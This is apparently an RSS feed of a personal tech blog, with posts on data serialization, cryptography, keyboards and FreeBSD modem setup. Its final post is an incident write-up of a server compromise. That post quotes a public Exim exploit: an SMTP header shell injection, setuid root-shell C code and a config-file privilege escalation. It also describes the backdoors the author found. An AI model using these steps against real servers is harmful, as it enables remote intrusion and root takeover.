http://www.khjk.org/ Karl Hans Janke Kollaborativ de sm@khjk.org (Sven Moritz Hallberg) 11 Jun 2012 00:00 GMT 11 Jun 2012 00:00 GMT http://www.khjk.org/log/2012/jun/datalang.html <p /><div class="float" style="float:none"><div class="floatcontent"><a href="log/2012/jun/datalang.medium.jpg"><img src="log/2012/jun/datalang.klein.jpg" alt="datalang.klein.jpg" /></a ></div ><div class="floatcaption">Pen and paper design. </div ></div ><p />Inspired by their talk <a href="http://media.ccc.de/browse/congress/2011/28c3-4763-en-the_science_of_insecurity.html"><q>The Science of Insecurity</q ></a > I took Meredith Patterson and Sergey Bratus by their word and tried to solve my next network communication problem without crossing the line beyond deterministic context-free languages. <p />The upshot of said talk was that most if not all security problems stem from the fact that some software component could not foresee the consequences of its input. From a language-theoretic point of view, the problem boils down to <em>recognizing</em > the set (<q>language</q >) of acceptable inputs. There are different classes of languages whose recognizers require increasingly complex mechanisms. Things are basically pleasant with <em>regular</em > languages and one step up, aforementioned <em>deterministic context-free</em > ones. Up to this point we can algorithmically decide whether two specifications describe the same language; whether two peers in the network are cleanly interoperable. <p />When I was looking for a good <a href="http://en.wikipedia.org/wiki/Comparison_of_data_serialization_formats">data serialization format</a >, in addition to my original requirements, I went looking for one that had a deterministic context-free grammar. Incidentally, one of the things I wanted to be able to do was efficiently transfer relatively large blocks of arbitrary data. Unfortunately, what immediately catapults you into the land of (mildly) context-<em>sensitive</em > languages are length fields. <p />JSON (as implied by the title) would have been my favorite choice, but the best way to put binary blobs in it is by encoding them as Base64-encoded strings. <p /><pre><code>{ "message": "Hi, Bob!" , "attachment": "ZGFmdXFpc3RoaXM=" } </code ></pre ><p />For one thing, this means overhead in encoding time, decoding time and data volume. Also it is unsatisfying because one property of JSON is self-descriptiveness: recognizing a JSON value reveals its type. Base64 blobs would be hidden in strings and force the recipient to know exactly where to expect them. <p />A short note about overhead and efficiency concerns. It is generally rightfully considered foolish to optimize prematurely. From <em>most</em > standpoints, computers are fast, bandwidth is cheap and you are probably wasting ten times as much elsewhere as avoiding Base64 would ever save. Nevertheless, optimizing for efficiency is not useless and in the right place, a constant factor can make all the difference. Base64 <em>will</em > turn your 3GB download into a 4GB one. More importantly, I am treating this endeavor as much as an academic as a practical one, asking <q>could we</q > as much as <q>do we want to</q >. So below is the answer I came up with. <p />The idea is to break binary data into chunks of uniform size. I chose 4096 bytes rather arbitrarily. Allow one final chunk of variable length and encode that one in Base64. So every 4kB, there is one character (<span style="font-family:monospace">#</span >) which means <q>another 4k coming</q >. There need not be any such <q>raw chunks</q >; they are always followed by exactly one (possibly empty) Base64 string enclosed in <span style="font-family:monospace">%</span >. Examples: <p /><pre><code>#.....#.....%ZGFmdXFp% #.....#.....%% %ZGFmdXFp% </code ></pre ><p />This syntax is added to JSON, along with a few other extensions. <p /><b> Design goals </b > <p /><ul><li>Stay deterministic context-free. </li ><li>Avoid escaping or re-encoding every byte in binary blobs. </li ><li>Simple grammar. </li ><li>Self-describing structure. </li ><li>Stay reasonably human-readable and human-writable. </li ><li>Minimize attack surface for bugs. </li ></ul ><p /><ul><li>Plus: Allow exact representation of binary floating point numbers. </li ><li>Plus: Allow strings to use any character encoding. </li ><li>Plus: Do not use newlines as syntax, allow arbitrary values to be serialized into single lines. </li ><li>Plus: Provide for easy streaming of values. </li ></ul ><p /><b> Non-goals </b > <p /><ul><li>Optimal size. </li ><li>Optimal speed. </li ></ul ><p />Notwithstanding the goal to support efficiency with large blobs, this format is not meant to squeeze every last bit out of everything. That conflicts with self-descriptiveness and is what <a href="https://developers.google.com/protocol-buffers/">Protocol Buffers</a > are for. <p /><b> Characteristics </b > <p /><ul><li>Proper superset of UTF-8-encoded JSON. </li ><li>Types: <ul><li>Null </li ><li>Boolean </li ><li>Number </li ><li>Byte-Array </li ><li>String </li ><li>List (= JSON <q>arrays</q >) </li ><li>Record (= JSON <q>objects</q >) </li ></ul ></li ><li>Defined in <a href="http://www.faqs.org/rfcs/rfc5234.html">ABNF</a >. <ul><li>~150 lines. </li ><li>Transcribes trivially to a PEG. </li ></ul ></li ><li>All syntax is ASCII. <ul><li>No other external encodings allowed. </li ></ul ></li ><li>Strings are tagged with their encoding. <ul><li>No tag means UTF-8. </li ><li>JSON-style unicode escapes <span style="font-family:monospace">\u....</span > supported for compatibility. <ul><li>UTF-16 surrogate pairs recognized by grammar. </li ><li>Parsers SHOULD properly recode these for UTF-8 strings. </li ></ul ></li ></ul ></li ><li>Arbitrary bytes in strings via hexadecimal escapes <span style="font-family:monospace">\x..</span >. </li ><li>Numbers are arbitrary-precision rationals. </li ><li>Hexadecimal notation for numbers supported. <ul><li>Including hexadecimal fraction and exponent notation. </li ></ul ></li ><li>Top-level <q>document</q > consists of one value of any type. <ul><li>JSON only allows arrays and objects. </li ></ul ></li ><li>Defined syntax for top-level value streams. <ul><li>Values terminated by newlines. </li ><li>Allows parser for rule <span style="font-family:monospace">stream-element</span > to simply be called repeatedly on input stream. </li ></ul ></li ></ul ><p /><b> Example </b > <p /><pre><code>{ "null": null , "boolean": true , "integer": 1234 , "rational": 1234.56 , "exponent": 1234.56e2 , "hexadecimal": 0x123AB.CDxE , "bytes": %ZGFmdXFp% , "string": "Hello" , "encoding": "Mot\xF6rhead"_latin1 , "list": [23,"skidoo"] , "record": {} } </code ></pre ><p /><b> Show me the code! </b > <p />Glad you asked! The child currently carries the rather stupid working title <q>datalang</q > and resides in a <a href="http://code.khjk.org/datalang/">repository</a > here: <p /><pre><code>darcs get http://code.khjk.org/datalang/ </code ></pre ><p />Included is the <a href="http://code.khjk.org/datalang/grammar.abnf">ABNF grammar</a > as well as a <a href="http://code.khjk.org/datalang/parser.c">demo parser</a > implemented in C using <a href="http://github.com/UpstandingHackers/hammer"><span style="font-family:monospace">hammer</span ></a >. Oh right, <span style="font-family:monospace">hammer</span >. Given that this post has already turned into a novel, I am going to save that for later. <p /><b>PS:</b > If anyone thinks of a better name than <em>datalang</em >, your suggestion is very welcome at my easily-guessed email address. pesco@khjk.org (pesco) http://www.khjk.org/log/2012/jun/datalang.html 11 Jun 2012 00:00 GMT http://www.khjk.org/log/2012/apr/smp.html <p /><div class="float" style="float:right"><div class="floatcontent"><div class="float" style="float:none"><div class="floatcontent"><img src="log/2012/apr/smp/p01.klein.jpg" alt="p01.klein.jpg" /></div ></div ></div ></div ><p />A few years back I prepared a presentation on the so-called <em>Socialist Millionaires' Protocol</em > (SMP) for a university seminar. SMP is a solution to the problem of key authentication devised for <a href="http://www.cypherpunks.ca/otr/">OTR</a > (Off-the-Record), the system for instant-messaging encryption. <p />Today I held a short version of the presentation for non-mathematicians at the <a href="http://www.hamburg.ccc.de/">CCC Hamburg</a >. For the benefit of the Internet, the awesomely hand-made <a href="log/2012/apr/smp/slides/">slides</a > are in English. There is also a handy <a href="log/2012/apr/smp/handout.pdf">hand-out</a > with a protocol diagram. <p />The <a href="log/2012/apr/smp/smp.pdf">written presentation</a > for the course is <strong>completely in German</strong > and math-rich. I did try hard to make it a clear read for the so-inclined. Have fun! :) pesco@khjk.org (pesco) http://www.khjk.org/log/2012/apr/smp.html 24 Apr 2012 22:22 GMT http://www.khjk.org/log/2011/jul/bitcoin.html <p />I held a little intro talk about <a href="http://www.bitcoin.org/">Bitcoin</a > last night at a local Linux meetup kinda thing. It was a light technical description of what the system is and how it works. <p />Here are the <a href="log/2011/jul/btc.pdf">slides</a > and their LaTeX <a href="log/2011/jul/btc.zip">sources</a >. That is all. pesco@khjk.org (pesco) http://www.khjk.org/log/2011/jul/bitcoin.html 5 Jul 2011 10:30 GMT http://www.khjk.org/log/2011/apr/blindsigs.html <p /><div class="float" style="float:left"><div class="floatcontent"><div class="float" style="float:none"><div class="floatcontent"><img src="log/2011/apr/signature.klein.jpg" alt="signature.klein.jpg" /></div ></div ></div ></div ><p />I'm starting work on my diploma thesis this month. The exact topic isn't set in stone yet, but it will be something crypto. If everything goes dreamy-awesome, I'll find something nice to write about lattice-based blind signatures or somesuch. Background: <p /><ul><li>Blind signatures are used for e-cash. I'm fascinated with e-cash. </li ><li>Lattice-based methods are candidates for quantum-resistant systems. Appearently there's lots of current research going on. </li ><li>I've done some lattice theory at Charles University in Prague. Never thought I'd see it again, so wouldn't that be something. </li ><li>There's zero knowledge in there somewhere. Another fascination. </li ></ul ><p />So, time to sum up the basics. As far as my history serves, David Chaum invented blind signatures in the 80s for electronic voting but nobody wanted to buy that, so he also invented electronic cash. Then he got really paranoid and didn't sell it either. Real quick summary. ;) <p />Anyway&#8230; <p />The principle is to mix whatever you want signed (electronic voting ballot, 100 EUR banknote) with a random <q>blinding factor</q > and divide that out only after Trent (your government, bank) has signed. Thus Trent cannot recognize and connect the note to you when it comes back to him later. <p />The classic algorithm is based on RSA and is painted up fast. Unfortunately, my awesome markup language still has no fancy math support so you have to live with ASCII art: <p /><pre><code>m = message to be signed e = public "encryption" (i.e. verification) exponent n = public modulus d = secret "decryption" (i.e. signing) exponent k = blinding factor (just a random number) x^(de) = x^(ed) = x (mod n) -- RSA property Alice prepares: mk^e -- blinded message Trent signs: (mk^e)^d = m^d k Alice unblinds: m^d k / k = m^d -- signed message Bob can check: (m^d)^e = m </code ></pre ><p />One might think that signing something completely blindly might be a bad idea. After all, a bank needs to know the value of the note it is signing. To ensure <em>any</em > desired property of the signed document, Trent can require a <q>cut-and-choose</q > step. In this case Alice must give him <em>n</em > different but equivalent messages. He chooses one of them and asks Alice to unblind all the others. Trent signs the remaining blinded one if the others satisfy the desired property. Alice's chance to cheat of <em>1:n</em > can be made unattractive by attaching a suitable penalty. pesco@khjk.org (pesco) http://www.khjk.org/log/2011/apr/blindsigs.html 29 Apr 2011 21:00 GMT http://www.khjk.org/log/2011/mar/memory.html <p /><div class="float" style="float:none"><div class="floatcontent"><img src="log/2011/mar/memory.klein.png" alt="memory.klein.png" /></div ><div class="floatcaption">Awesome! </div ></div ><p />I used the weekend to code <a href="http://kompilierfreizeit.de/memory">a little memory game</a > in Javascript. Apart from being pointless and annoying (especially if your visual memory sucks as much as mine), I think it turned out lovely! <p />I was hoping to gain some experience with user-facing Javascript from it, as previous excursions into the <a href="http://javascript.crockford.com/javascript.html">misunderstood programming language</a > have been minimal in <a href="http://www.khjk.org/log/2010/aug/pixpls.html">one way</a > or <a href="http://www.khjk.org/log/2010/nov/jsbigint.html">another</a >. So, this time I got to use some actual objects. Structured data, woo! <p />I poked around the design space a little to see what was up with Crockford's take on <a href="http://javascript.crockford.com/prototypal.html">prototypal inheritance</a > vs. <a href="http://stackoverflow.com/questions/383402/is-javascript-s-new-keyword-considered-harmful">others' assertions</a > that his dislike of the <span style="font-family:monospace">new</span >-operator was ill-founded. You can look at <a href="http://kompilierfreizeit.de/memory/memorygame.js">the code</a > to see what I settled on in this instance, but maybe I'll leave that discussion for another post. Suffice it to say, it's a bit of a mish-mash but I'm sure it will crystallize nicely. <p />Oh yeah, and this is going onto my <strong>side project</strong > (I desperately needed one!) site <a href="http://kompilierfreizeit.de/">kompilierfreizeit.de</a >. I'm going to collect some nice other time wasters there, but won't say it out too loud, yet. That would just make me feel obligated&#8230; <p />Have fun! pesco@khjk.org (pesco) http://www.khjk.org/log/2011/mar/memory.html 14 Mar 2011 22:13 GMT http://www.khjk.org/log/2011/jan/tron.html <p /><div class="float" style="float:none"><div class="floatcontent"><img src="log/2011/jan/tron-pacman.klein.jpg" alt="tron-pacman.klein.jpg" /></div ></div ><p />I just (re)watched the original Tron. Highlights: <p /><ul><li>Adam, Tron's user, has the phrase <a href="http://en.wikipedia.org/wiki/Klaatu_barada_nikto"><q>gort klaatu barada niktu</q ></a > posted up in large letters on his cubicle wall. This is not a reference to <q>Army of Darkness</q > (1992, duh) but to <q>The Day the Earth Stood Still</q >. I should watch that. </li ><li>The screen in the control room of bad guy's ship shows pac-man in one scene (see image above). </li ><li>The image of Moses in Southpark episode <q>Jewbilee</q > (s03e09) is modeled after the Master Control Program (see image below). </li ><li>Spotted <a href="http://en.wikipedia.org/wiki/Ken_Perlin">Kenneth Perlin</a > in the credits. </li ></ul ><p /><div class="float" style="float:none"><div class="floatcontent"><img src="log/2011/jan/mcp-moses.klein.jpg" alt="mcp-moses.klein.jpg" /></div ></div > pesco@khjk.org (pesco) http://www.khjk.org/log/2011/jan/tron.html 27 Jan 2011 00:30 GMT http://www.khjk.org/log/2011/jan/carpalx.html <p /><a href="http://mkweb.bcgsc.ca/carpalx/"><span style="font-family:monospace">carpalx</span ></a > is a program for the algorithmic evaluation and optimization of keyboard layouts. The site is a wealth of information and adds a nice scientific angle to the endless discussion of alternatives to the QWERTY layout. First of all it provides evaluations and comparisons of several popular layouts, including <a href="http://en.wikipedia.org/wiki/Dvorak_Simplified_Keyboard">Dvorak</a > and <a href="http://colemak.com/">Colemak</a >. In addition it describes a number of layouts generated by the program, optimized to certain parameters and side conditions. Within the given effort metric, they improve significantly over all alternatives. <p /><div class="float" style="float:none"><div class="floatcontent"><img src="log/2011/jan/qgmlwb.klein.png" alt="qgmlwb.klein.png" /></div ><div class="floatcaption"><span style="font-family:monospace">carpalx</span >' fully optimized layout with Colemak lettermask, <q>QGMLWB</q >. </div ></div ><p />I've created an XKB definition file that allows the five featured layouts to be used with X11. In fact, it also includes the <q>worst layout</q > TNWMLC which <em>maximizes</em > the effort metric. Don't use that, though. <p />To install, copy <a href="log/2011/jan/carpalx.xkb"><span style="font-family:monospace">carpalx.xkb</span ></a > to your XKB symbols directory (path my differ slightly) <p /><pre><code>$ cp carpalx.xkb /usr/share/X11/xkb/symbols/carpalx </code ></pre ><p />and add the following lines to <span style="font-family:monospace">/usr/share/X11/xkb/symbols.dir</span >: <p /><pre><code>-dp----- a------- carpalx(qgmlwb) --p----- a------- carpalx(qgmlwy) --p----- a------- carpalx(qfmlwy) --p----- a------- carpalx(qwkrfy) --p----- a------- carpalx(qwyrfm) --p----- a------- carpalx(tnwmlc) </code ></pre ><p />Now it should be possible to load the layouts with, e.g. <p /><pre><code>$ setxkbmap carpalx # defaults to QGMLWB $ setxkbmap -layout carpalx -variant qwkrfy # to select other variants </code ></pre ><p />Technically, the following files should also be updated: <p /><pre><code>/usr/share/X11/xkb/rules/xorg.lst /usr/share/X11/xkb/rules/xorg.xml </code ></pre ><p />For the time being I couldn't be bothered, but I think that's necessary if the layouts are to show up in Gnome and KDE control panels. <p /><b>PS:</b > Dear search engines, X11 means X Window System, means this lets you use carpalx layouts on Linux (desktops). Or FreeBSD for that matter. pesco@khjk.org (pesco) http://www.khjk.org/log/2011/jan/carpalx.html 23 Jan 2011 17:14 GMT http://www.khjk.org/log/2010/dec/umts-stick.html <p />So, now I know how to make these USB UMTS stick thingies work&#8230; <p /><div class="float" style="float:none"><div class="floatcontent"><a href="log/2010/dec/umts-stick.medium.jpg"><img src="log/2010/dec/umts-stick.klein.jpg" alt="umts-stick.klein.jpg" /></a ></div ></div ><p />I've been meaning to get one for a while, so I got a cheap SIM-locked stick with a prepaid plan for this year's post-christmas gadget shopping. I'm recording how I got it to work as much for my own sake as anyone else's&#8230; <p />For FreeBSD, you need the <span style="font-family:monospace">u3g</span > driver. My model is a HUAWEI E1750, which is one of several supported by the driver. Here's what <span style="font-family:monospace">dmesg</span > shows: <p /><pre><code>ugen3.2: &#60;vendor 0x12d1&#62; at usbus3 ugen3.2: &#60;vendor 0x12d1&#62; at usbus3 (disconnected) ugen3.2: &#60;HUAWEI Technology&#62; at usbus3 u3g0: &#60;HUAWEI Technology HUAWEI Mobile, class 0/0, rev 2.00/0.00, addr 2&#62; on usbus3 u3g0: Found 4 ports. </code ></pre ><p />Note the <q>4 ports</q > message. These things act like an old modem, presenting a virtual serial port on which they accept <q>AT</q > commands. Just like old times. Actually, they often present several ports serving different functions. <p /><pre><code>$ ls /dev/cuaU?.? /dev/cuaU0.0 /dev/cuaU0.1 /dev/cuaU0.2 /dev/cuaU0.3 </code ></pre ><p />You have to find the one to use by experimentation. I learned that <span style="font-family:monospace">screen</span > can actually be used as a terminal emulator for this (instead of the clunky old <span style="font-family:monospace">minicom</span >): <p /><pre><code>$ screen /dev/cuaU0.0 </code ></pre ><p />Type <span style="font-family:monospace">AT</span > and see if you get an <span style="font-family:monospace">OK</span > reply. <p />Most sticks also present mass storage devices. There is usually an emulated <q>CD</q > drive that contains driver software for Windows and MacOS. Some models appearently require this <q>disk</q > to be <q>ejected</q > before even switching on the modem part. I'm not sure if mine does; the <span style="font-family:monospace">u3g</span > manpage states that it should happen transparently (look for <q>u3gstub</q >). <p />This model also has a microSD slot that can be used like any regular usb storage device. <p /><pre><code>cd0 at umass-sim0 bus 0 scbus0 target 0 lun 0 cd0: &#60;HUAWEI Mass Storage 2.31&#62; Removable CD-ROM SCSI-2 device [...] da0 at umass-sim1 bus 1 scbus1 target 0 lun 0 da0: &#60;HUAWEI SD Storage 2.31&#62; Removable Direct Access SCSI-2 device </code ></pre ><p />Since the SIM card is usually protected by a PIN, one needs to enter this before it will perform its function. These and other UMTS-specific functions are simply accessed by special AT commands. Many have a <q>query</q > variant ending in a question mark that will report the current status and a <q>set</q > function with an equals sign. <p /><pre><code>&#62; AT+CPIN? +CPIN: SIM PIN OK &#62; AT+CPIN=1234 OK &#62; AT+CPIN? +CPIN: READY OK </code ></pre ><p />If you don't care about feedback, the PIN entry can be done by writing directly to the device file. <p /><pre><code>$ echo "AT+CPIN=1234" &#62; /dev/cuaU0.0 </code ></pre ><p />My device now signals its ready status by blinking its LED in a different color and rhythm. <p /><div class="float" style="float:none"><div class="floatcontent"><a href="log/2010/dec/umts-fiddling.medium.jpg"><img src="log/2010/dec/umts-fiddling.klein.jpg" alt="umts-fiddling.klein.jpg" /></a ></div ><div class="floatcaption">Lots of fiddling later&#8230; </div ></div ><p />Now for the PPP connection (just like old times!), in <span style="font-family:monospace">/etc/ppp/ppp.conf</span >: <p /><pre><code>o2: set log Phase Chat LCP IPCP CCP tun command +connect set device /dev/cuaU0.0 set speed 460800 set dial "ABORT BUSY ABORT NO\\sCARRIER ABORT ERROR TIMEOUT 5 \ \"\" \ AT OK-AT-OK \ AT+CFUN=1 OK-AT-OK \ AT+CSQ OK \ AT+CGDCONT=1,\\\"IP\\\",\\\"internet\\\" OK \ AT+CGACT? OK \ AT+CGATT? OK \ ATD*99***1# CONNECT" set timeout 180 # 3 minute idle timer (the default) set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 set vj slotcomp off set crtscts on add default HISADDR # set default route enable dns # set dns servers in resolv.conf </code ></pre ><p />There is a bunch of stuff in there I just copied from examples on the web. Let's see: <p /><pre><code>set log Phase Chat LCP IPCP CCP tun command +connect </code ></pre ><p />This makes <span style="font-family:monospace">ppp</span > write all kinds of stuff to syslog (<span style="font-family:monospace">/var/log/ppp.log</span >). Very useful if something goes wrong, but completely optional. The keywords after <q>set log</q > select different parts of the whole exchange and can be left out individually if desired. <p /><pre><code>set speed 460800 </code ></pre ><p />No idea if this is necessary. All kinds of <q>baud rates</q > seem to just work. <p /><pre><code>set dial "ABORT BUSY ABORT NO\\sCARRIER ABORT ERROR ... </code ></pre ><p />The <q>dial</q > setting is the conversation script <span style="font-family:monospace">ppp</span > follows in order to set off the right sequence of AT commands that open the connection. This is actually executed by chat(8). See that manpage for the syntax. The first line sets abort conditions. If the modem responds with <q>BUSY</q >, <q>NO CARRIER</q > or <q>ERROR</q > to any command, <span style="font-family:monospace">ppp</span > will consider the connection attempt failed. <p /><pre><code>AT OK-AT-OK </code ></pre ><p />This one uses a <q>subexpect/subresponse pair</q > (-AT-OK) and just makes sure that the modem responds (two tries). <p /><pre><code>AT+CFUN=1 OK-AT-OK </code ></pre ><p />This command turns the device <q>on</q > if it doesn't do it automatically. Not sure what <q>on</q > means exactly, maybe that it actually goes on the air looking for its network. My device does this automatically after entering the PIN. (I think that's what the changed LED pattern actually means.) Anyway, the command just becomes a no-op when it is issued again. <p /><pre><code>AT+CSQ OK </code ></pre ><p />This asks for the signal strength. Not really necessary, but maybe it fails if there is absolutely no signal. <p /><pre><code>AT+CGDCONT=1,\\\"IP\\\",\\\"internet\\\" OK </code ></pre ><p />This is somewhat important. It sets the <q>APN</q >. I'm actually not sure what that is, but I'm guessing some kind of logical access point that the mobile network operator can define. It's just called <q>internet</q > in my case, you have to set the right one for your network. The Web has lists of these. Google for <q>umts apn setting</q >. <p />Actually, the command sets a bundle of parameters known as a <q>PDP context</q >. There can be many of these, identified by numbers, and the modem can be switched around among them. <p /><pre><code>AT+CGACT? OK </code ></pre ><p />Asks the modem which of the above-mentioned contexts is active. Not sure why this is necessary or useful, copied it from an example. <p /><pre><code>AT+CGATT? OK </code ></pre ><p />Asks the modem whether it is attached to the GPRS service. Presumably this can fail. <p /><pre><code>ATD*99***1# CONNECT </code ></pre ><p />Finally, this is the <q>dial</q > command that opens the PPP connection. The number 99 seems to be standard. The part <q>***1</q > is optional and specifies the PDP context to use. <p />BTW, I'm guessing the ATD command can also be used to dial the magic numbers used for activating prepaid time on the card. Will have to try this later. <p />Enough AT commands, back to <span style="font-family:monospace">ppp</span > settings: <p /><pre><code>set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 </code ></pre ><p />This is another important one. I didn't look it up in the docs, but one thing it accomplishes is explicitly setting the point-to-point address on the network interface. Appearently the necessity of this depends on the setup of the peer, i.e. some supply their own address, some don't. Mine didn't and I always got this in the log: <p /><pre><code>tun0: Warning: iface add: ioctl(SIOCAIFADDR, 10.150.178.217 -&#62; 0.0.0.0): Destination address required tun0: Error: ipcp_InterfaceUp: unable to set ip address </code ></pre ><p />The last two interesting ones are these: <p /><pre><code>add default HISADDR # set default route enable dns # set dns servers in resolv.conf </code ></pre ><p />And that's basically it. Now <p /><pre><code>$ ppp -ddial o2 </code ></pre ><p />will establish the connection, disappear into the background, and keep it open until killed. There are a few other modes besides <span style="font-family:monospace">ddial</span >, consult the manpage. <p /><strong>Interesting links:</strong > <p /><ul><li><a href="http://wiki.bsdforen.de/howto/umts_mit_huawei">A HOWTO in German language</a > at <a href="http://www.bsdforen.de/"><span style="font-family:monospace">bsdforen.de</span ></a > </li ><li><a href="http://docs.google.com/viewer?a=v&#38;q=cache:RF06UMENUgkJ:www.wireless-products.dk/PDF-filer/RF-Solution-PDF/GPRS%2520AT%2520Command%2520List.pdf+at+cgatt"><q>AT commands for GPRS</q ></a >, some technical documentation from Wavecom at Google docs. </li ><li><a href="http://www.xs4all.nl/~ernstagn/GPRS-HOWTO/GPRS-HOWTO-5.html"><q>Controlling your <span style="font-family:monospace">modem</span ></q ></a >, chapter 5 of <q>The Linux GPRS HOWTO</q > </li ><li><a href="http://docs.google.com/viewer?a=v&#38;q=cache:5prtAfMEu7UJ:www.ripe.net/ripe/meetings/ripe-53/presentations/gprs.pdf+umts+apn"><q>UMTS/GPRS system/overview from an IP addressing perspective</q ></a > (talk slides on Google docs) </li ></ul > pesco@khjk.org (pesco) http://www.khjk.org/log/2010/dec/umts-stick.html 28 Dec 2010 01:35 GMT http://www.khjk.org/log/2010/dec/das-keyboard.html <p />Yesterday's server fiddling was performed on one of those things you can only get as presents. <p /><div class="float" style="float:none"><div class="floatcontent"><a href="log/2010/dec/das-keyboard.medium.jpg"><img src="log/2010/dec/das-keyboard.klein.jpg" alt="das-keyboard.klein.jpg" /></a ></div ><div class="floatcaption"><q>das keyboard</q >, model ultimate S, US layout. </div ></div ><p />The <a href="http://www.daskeyboard.com/">official marketing</a > makes it look awesome. I knew I wanted what they promised. All the reviews on the web were distinctly positive. But then there aren't many for a niche product like this. The only way to get it is by mail order. No stores carry it. None of my friends have one. No way to try before purchase. And of course it's expensive. <p />So I put it on my Amazon wishlist, mentioning something about fetishism in the comment area. <p />Here's the feature run-down: It's a full-size USB/PS2 keyboard without labels; <a href="http://en.wikipedia.org/wiki/Buckling_spring">buckling spring switches</a > like the infamous <a href="http://www.aibpc.com/?p=439">Model M</a >; n-key rollover; color: black. A keyboard for typists. <p />My first impression was, erm, I'll let the twitter quote stand for itself: <p /><div class="float" style="float:none"><div class="floatcontent"><img src="log/2010/dec/orgasmic.klein.png" alt="orgasmic.klein.png" /></div ></div ><p />The fine click, perfectly synchronized by the laws of physics to the actual moment of contact. Words can not describe it. <p />So yeah, I'm very happy so far. As for the build, it seems sturdy, has a good weight and proper rubber pads. Let's hope it lasts a good few years! pesco@khjk.org (pesco) http://www.khjk.org/log/2010/dec/das-keyboard.html 26 Dec 2010 14:46 GMT http://www.khjk.org/log/2010/dec/compromise.html <p /><div class="float" style="float:none"><div class="floatcontent"><a href="log/2010/dec/h4xx0red.medium.jpg"><img src="log/2010/dec/h4xx0red.klein.jpg" alt="h4xx0red.klein.jpg" /></a ></div ></div ><p />As if to put me in the right mood for the upcoming <a href="http://events.ccc.de/congress/2010/">Chaos Communication Congress</a >, the server that hosted this domain was <q>externally realigned</q > a few days ago. ;) <p />I hear the exploit has really been making the rounds (it was <a href="http://it.slashdot.org/story/10/12/10/1529206/Remote-Exim-Exploit-In-the-Wild">slashdotted</a >, too). And I can kinda tell why: It is a really gorgeous remote buffer overflow / local priviledge escalation combo in Exim. The Exim that was included as the default mail server on Debian stable until a few days ago. <p />As to how it works, quoting the <a href="http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html">report</a > by someone named Sergey Kononenko: <blockquote>Here I can put brief sequence of attack: <p /><pre><code>EHLO mail.domain.com MAIL FROM: &#60;orderruc0e@???&#62; RCPT TO: &#60;postmaster@???&#62; DATA MAILbombhdr0001: M4iLB0mbM4iLB0mbM4iLB0mbM4iLB... ... MAILbombhdr0054: M4iLB0mbM4iLB0mbM4iLB0mbM4iLB... HeaderX: ${run{/bin/sh -c 'exec /bin/sh -i &#60;&#38;3 &#62;&#38;0 2&#62;&#38;0'}}${run{... MAILbombMAILbombMAILbombMAILbombMAILbombMAILbo... MAILbombMAILbombMAILbombMAILbombMAILbombMAILbo... ... about 700000 the same strings ... MAILbombMAILbombMAILbombMAILbombMAILbombMAILbo... MAILbombMAILb . </code ></pre ></blockquote ><p />I'm not <em>entirely</em > sure what's going on in that header there, i.e. why that works, but it's obviously a remote hole that gets you a shell on the host. This would run as an unpriviledged user, but, still quoting the same source: <p /><blockquote>after that attacker gets shell with id of user <span style="font-family:monospace">Debian-exim</span > and cwd in <span style="font-family:monospace">/var/spool/exim4</span > then it put file there file setuid with trivial execution of root shell: <pre><code>int main(int argc, char *argv[]) { setuid(0); setgid(0); setgroups(0, NULL); execl("/bin/sh", "sh", NULL); } </code ></pre ></blockquote ><p />Yeah, that would spawn a root shell, if it could. E.g. if it was setuid root. The free sudo, as I'd like to call it. How do we get there? Check this out: <p /><blockquote>and create another file <span style="font-family:monospace">e.conf</span > with following content: <pre><code>spool_directory = ${run{/bin/chown root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4/setuid}} </code ></pre ><p />the he runs: <pre><code>exim -Ce.conf -q </code ></pre ></blockquote ><p />Ahahahah! There we go, just tell Exim what we want, and it does it. As root. Thanks! <p />&#8230; <p />So, I copied any important data off the system. Then I ran <a href="http://www.checkrootkit.org"><span style="font-family:monospace">chkrootkit</span ></a > and <a href="http://www.rootkit.nl/projects/rootkit_hunter.html"><span style="font-family:monospace">rkhunter</span ></a >. Both emitted a bunch of bogus warnings and the latter didn't find anything. However, <span style="font-family:monospace">chkrootkit</span > spotted a curious <span style="font-family:monospace">bash</span > process listening on a network port. The process could actually be seen on <span style="font-family:monospace">netstat</span >. I killed it. And Exim. <p />Also, I noticed <span style="font-family:monospace">pstree</span > showing two <q><span style="font-family:monospace">named</span ></q > processes. Wait&#8230; I'm not running DNS here. And were these in the <span style="font-family:monospace">ps</span > I did earlier? Nope, omits them. <p /><pre><code># grep named /etc/* rc.local: /sbin/named # Starting named daemon </code ></pre ><p />o.O <p /><pre><code># cat /etc/rc.local /sbin/named # Starting named daemon /usr/sbin/sshd # Starting sshd daemon /sbin/service iptables stop # Stopping firewall </code ></pre ><p />Hm, I don't have <span style="font-family:monospace">/sbin/service</span >. Looks like his kit was expecting Red Hat. <p /><pre><code># strings /sbin/named [...] bash Password: Incorrect password. .-= Backdoor made by Mironov =-. .-= Running =-. </code ></pre ><p />Aha. Some Google hits on this from years past. <strong>shrug</strong > <p /><pre><code># strings sshd | grep -C 3 backdoor Could not chdir to home directory %s: %s /dev/devno xxxxx are %d entries in the log xxxx xxxxx backdoor Oupss session_new: init session_new: session %d </code ></pre ><p />Eheheh, so that's why my <span style="font-family:monospace">ssh</span > session died. <p /><pre><code># find / -user root -perm -4000 # setuid root [...] /sbin/shs # strings /sbin/shs [...] [Welcome Morfeus] /bin/sh </code ></pre ><p />Yeah. So&#8230; <p />As luck would have it, I was in the middle of migrating to a new machine anyway. So I completed the move and shut the old system down. <p />:) pesco@khjk.org (pesco) http://www.khjk.org/log/2010/dec/compromise.html 25 Dec 2010 18:00 GMT